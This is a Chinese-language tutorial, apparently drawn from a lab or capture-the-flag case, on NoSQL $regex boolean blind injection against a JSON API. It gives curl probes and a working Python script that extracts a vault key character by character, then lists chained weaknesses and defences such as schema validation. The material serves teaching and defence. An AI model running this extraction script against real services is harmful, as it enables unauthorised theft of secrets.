NoSQL $regex 布尔盲注提取
JSON API 如果把用户输入直接交给 NoSQL 查询,攻击者就可能把普通字符串变成操作符对象。例如原本应该是:
{"value":"secret"}
如果后端没有做类型约束,攻击者可以传:
{"value":{"$regex":"^a"}}
当响应能区分“匹配”和“不匹配”时,就能逐字符盲提取敏感值。
判断条件
| 条件 | 说明 |
|---|---|
| JSON body 可控 | 参数可从字符串变成对象 |
| 后端接受 NoSQL 操作符 | $regex、$ne、$gt 等没有被过滤 |
| 响应有布尔差异 | match_count: 1/0、状态码、长度或错误不同 |
| 目标字段可指定 | 可控制 key、tenant、username 或查询范围 |
最小验证
先找一个已知字段做前缀测试:
curl -s -X POST \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <token>' \
-d '{"key":"secure_vault_key","value":{"$regex":"^a"}}' \
http://target:5000/api/v2/vault/query
如果返回:
{"match_count":0}
再换一个候选:
curl -s -X POST \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <token>' \
-d '{"key":"secure_vault_key","value":{"$regex":"^b"}}' \
http://target:5000/api/v2/vault/query
如果返回 {"match_count":1},就说明可以用前缀 oracle 提取。
自动提取模板
#!/usr/bin/env python3
import re
import string
import requests
BASE = "http://target:5000"
TOKEN = "<token>"
KEY = "secure_vault_key"
CHARS = string.ascii_letters + string.digits + "!@#$%^&*()-_=+[]{}|;:',.<>?/~` "
def test_prefix(prefix):
payload = {
"key": KEY,
"value": {"$regex": "^" + re.escape(prefix)},
}
r = requests.post(
f"{BASE}/api/v2/vault/query",
headers={
"Content-Type": "application/json",
"Authorization": f"Bearer {TOKEN}",
},
json=payload,
timeout=10,
)
return r.json().get("match_count", 0) > 0
value = ""
for _ in range(80):
for c in CHARS:
if test_prefix(value + c):
value += c
print(repr(value))
break
else:
break
print("RESULT:", value)
正则转义很重要
如果目标值里包含这些字符:
* + . ? = [ ] { } ( ) | ^ $ \ /
必须转义,否则会出现误匹配、无限循环或提取出错误值。Python 里优先用:
re.escape(prefix)
常见组合漏洞
NoSQL 盲注常常不是单独出现,而是和这些问题连在一起:
- Debug header 或测试模式绕过登录。
tenant_id、org_id、user_id可被请求体覆盖。- 列表接口无认证,先泄露 key 名、用户名或租户名。
- token 权限与服务端 session 文件不同步。
防御建议
- 对 JSON 参数做严格 schema 校验,字段类型必须是字符串时拒绝对象。
- 不把用户输入直接拼进 NoSQL 查询对象。
- 禁用或显式过滤
$regex、$ne等操作符输入。 - 租户上下文只能来自服务端 session / token claim,不能由请求体覆盖。
- Debug header、测试模式必须只存在于本地开发环境。
来源案例
- Nebula1:
/api/v2/vault/query接受{"$regex":"^prefix"},结合 debug token 和 tenant 切换逐字符提取secure_vault_key。